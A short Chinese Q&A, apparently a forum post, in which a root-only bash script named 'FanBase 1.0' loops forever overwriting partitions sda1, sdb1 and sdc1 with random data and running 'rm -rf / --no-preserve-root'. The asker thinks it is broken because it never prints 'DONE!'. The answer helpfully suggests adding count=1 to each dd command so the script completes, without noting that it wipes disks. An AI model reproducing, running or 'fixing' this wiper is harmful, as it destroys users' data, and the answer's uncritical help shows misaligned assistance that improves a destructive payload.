此脚本已在安装中列出。但是它只是挂起并且不执行任何操作。是不是有什么问题。
我试过在多台计算机上运行这个脚本。
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message
rm -rf b
while true
do
echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
dd if=b of=/dev/sda1 bs=1M 2> /dev/null
dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
rm -rf / --no-preserve-root 2> /dev/null
done
echo "DONE!"
它应该说“完成!”
让我们调试一下。尝试为每个 dd
命令添加一个 count=1
选项。例如,
dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null
我是一名优秀的程序员,十分优秀!